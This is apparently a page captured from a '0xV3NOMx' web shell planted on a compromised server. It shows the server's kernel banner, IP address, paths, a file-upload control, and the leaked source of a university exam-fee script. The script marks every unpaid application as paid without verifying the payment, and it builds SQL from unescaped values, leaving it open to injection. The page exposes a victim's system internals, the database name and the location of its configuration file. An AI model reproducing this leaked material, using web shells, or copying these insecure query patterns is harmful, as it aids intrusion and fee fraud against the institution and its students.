0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.225.54.199


Current Path : /var/www/html/dypatil/
Upload File :
Current File : /var/www/html/dypatil/paytm_res.php

<?php
	include("sendsmsapi.php");
	ini_set('max_execution_time', 600);
	include("/var/www/config.php");
	$servername = SERVERNAME;
	$username   = USERNAME;
	$password  = PASSWORD;
	$dbname = "logisys3_dypatil";
    
	/*$servername = "localhost";
	$username = "root";
	$password = "";
	$dbname = "resultsg_kus";*/
    
	$conn = new mysqli($servername, $username, $password, $dbname);

	$query = "select kp.ftranid,ac.appno, ac.fregno, ac.FPAYMENTSTATUS, ac.FPAYGATEWAY,kp.fname as fname, ac.FDATE,
	ac.fcollcode, ac.fdegree,ac.FFRESHEXAM  
	from appcandsum ac
	inner join pg_txn kp on
	ac.appno = kp.fappno
	and ac.fregno = kp.fregno
	where ifnull(ac.FPAYMENTSTATUS,'') <> 'success'";
	
	$resultm = $conn->query($query);
	
	if (mysqli_num_rows($resultm) > 0) 
	{
		while($row = mysqli_fetch_assoc($resultm)) 
		{

			$productinfo  = $row['appno'];
			$regno = $row['fregno'];
			$paytm  = $row['FPAYGATEWAY'];
			$degree  = $row['fdegree'];
			$collcode  = $row['fcollcode'];
			$fname  = $row['fname'];
			$FFRESHEXAM = $row['FFRESHEXAM'];
			$ftranid = $row['ftranid'];
			//$firstname = "paytm";
			
			$update="update appcandsum set FPAYMENTREMARKS='{$ftranid}',FPAYMENTSTATUS='success',
			FPAYMENTCONFIRM='success',FACKDATE=FLOGDATE,FACKUSER='{$fname}',FPAYGATEWAY = '{$fname}'
			where APPNO='{$productinfo}'";
			$result = $conn->query($update);
			echo $productinfo." -- ".$regno."<br>";
			$update_cand_sum = "UPDATE appcandsum a,candsum c
			SET 
			c.FEXAMFEEA=if(ifnull(c.FEXAMFEEA,0) <=0,ifnull(a.FEXAMFEEA,0),ifnull(c.FEXAMFEEA,0)),
			c.FEXAMFEEB=if(ifnull(c.FEXAMFEEB,0) <=0,ifnull(a.FEXAMFEEB,0),ifnull(c.FEXAMFEEB,0)),
			c.FEXAMFEEC=if(ifnull(c.FEXAMFEEC,0) <=0,ifnull(a.FEXAMFEEC,0),ifnull(c.FEXAMFEEC,0)),
			c.FEXAMFEED=if(ifnull(c.FEXAMFEED,0) <=0,ifnull(a.FEXAMFEED,0),ifnull(c.FEXAMFEED,0)),
			c.FEXAMFEEE=if(ifnull(c.FEXAMFEEE,0) <=0,ifnull(a.FEXAMFEEE,0),ifnull(c.FEXAMFEEE,0)),
			c.FEXAMFEEF=if(ifnull(c.FEXAMFEEF,0) <=0,ifnull(a.FEXAMFEEF,0),ifnull(c.FEXAMFEEF,0)),
			c.FEXAMFEEG=if(ifnull(c.FEXAMFEEG,0) <=0,ifnull(a.FEXAMFEEG,0),ifnull(c.FEXAMFEEG,0)),
			c.FEXAMFEEH=if(ifnull(c.FEXAMFEEH,0) <=0,ifnull(a.FEXAMFEEH,0),ifnull(c.FEXAMFEEH,0)),
			c.FEXAMFEEI=if(ifnull(c.FEXAMFEEI,0) <=0,ifnull(a.FEXAMFEEI,0),ifnull(c.FEXAMFEEI,0)),
			c.FEXAMFEEJ=if(ifnull(c.FEXAMFEEJ,0) <=0,ifnull(a.FEXAMFEEJ,0),ifnull(c.FEXAMFEEJ,0)),
			c.FTOTALFEE=a.FTOTALFEE,
			c.frecptdate = a.fackdate
			WHERE a.fregno=c.FREGNO
			AND a.APPNO='{$productinfo}' and a.FCOLLCODE='{$collcode}'";

			$result = $conn->query($update_cand_sum); 
			
			$update_cand_appCand = "update canddet c, appcanddet t  
			set c.finserted = t.finserted,
			c.fpresent = t.fpresent
			where c.fdegree = t.fdegree
			and c.fexamno = t.fexamno
			and c.fregno = t.fregno
			and c.fsubcode = t.fsubcode
			and c.fdegree = '{$degree}' and  c.fregno = '{$regno}' and t.APPNO='{$productinfo}' and ifnull(c.fpresent,'') <> 'P'";

			$result = $conn->query($update_cand_appCand); 
			
			$insert_canddet ="insert into canddet(fdegree,FEXAMNO, FCOLLCODE, FREGNO, FSUBCODE, FINSERTED, FPRESENT, FYEAR, FEXAMTYPE)
			select fdegree, FEXAMNO, FCOLLCODE,FREGNO, FSUBCODE,FINSERTED, FPRESENT, FYEAR,FEXAMTYPE from appcanddet where 
			fregno = '{$regno}' and appno ='{$productinfo}' and CONCAT(fdegree,fexamno,fregno,fsubcode) 
			not in(select CONCAT(fdegree,fexamno,fregno,fsubcode) from canddet where  fregno = '{$regno}')
			";
			
			//$lobj_insert_canddet = $aobj_context->mobj_db->Execute($insert_canddet);
			$result = $conn->query($insert_canddet); 
			
			
			$update_studfee = "update studfee s, appstudfee a
			set s.famount = a.famount,
			s.flogdate = a.flogdate
			where s.fdegree = a.fdegree
			and s.fexamno = a.fexamno
			and s.fregno = a.fregno
			and s.ffeecode = a.ffeecode
			and  s.fregno = '{$regno}' and a.appno ='{$productinfo}'";

			$result = $conn->query($update_studfee);
			
			$insert_studfee = "insert into studfee(fdegree,fexamno,fcollcode,fregno,ffeecode,famount,flogdate)
			select fdegree,fexamno,fcollcode,fregno,ffeecode,famount,flogdate from appstudfee where 
			fregno = '{$regno}' and appno ='{$productinfo}' and CONCAT(fdegree,fexamno,fregno,ffeecode) 
			not in(select CONCAT(fdegree,fexamno,fregno,ffeecode) from studfee where  fdegree = '{$degree}' 
			and fregno = '{$regno}')";
			//var_dump($insert_studfee);
		
			$result = $conn->query($insert_studfee); 



			$query = "insert ignore into marks (FDEGREE, FEXAMNO, FCOLLCODE, FREGNO, FSUBCODE, fmarks, fyear, fexamtype)
			select c.fdegree,c.fexamno,c.fcollcode,c.fregno,
			s.fcsubcode,'-1', c.fyear,c.fexamtype
			from canddet c inner join 
			subject s on c.fdegree = s.fdegree and c.fexamno = s.fexamno 
			and c.fsubcode = s.FSUBCODE	
			where c.fregno = '{$regno}' and c.fexamno = '{$FFRESHEXAM}' 
			and c.fcollcode = '{$collcode}' and c.fdegree = '{$degree}'
			and s.fintass = 'T' and s.fretain = 'T'";
			$res = $conn->query($query); 

			$query = "insert ignore into marks_pr (FDEGREE, FEXAMNO, FCOLLCODE,FOCOLLCODE, FREGNO, FSUBCODE, fmarks11, fyear, fexamtype)
			select cd.fdegree,cd.fexamno,cd.fcollcode,cd.fcollcode,cd.FREGNO,s.fcsubcode,'-1', 
			cd.fyear,cd.fexamtype
			from subject s inner join canddet cd on s.fdegree = cd.fdegree 
			and s.fsubcode = cd.FSUBCODE 
			and cd.fregno = '{$regno}'
			and ifnull(cd.fpassmth,'') = '' 
			and ifnull(cd.fthpr,'') <> 'F'
			where s.fdegree = '{$degree}' 
			and cd.fcollcode = '{$collcode}'
			and s.ftheory = 'F'
			and cd.fpresent = 'P'
			and ifnull(s.fintass,'F') <> 'T'";
			$res = $conn->query($query); 


		}
	}

?>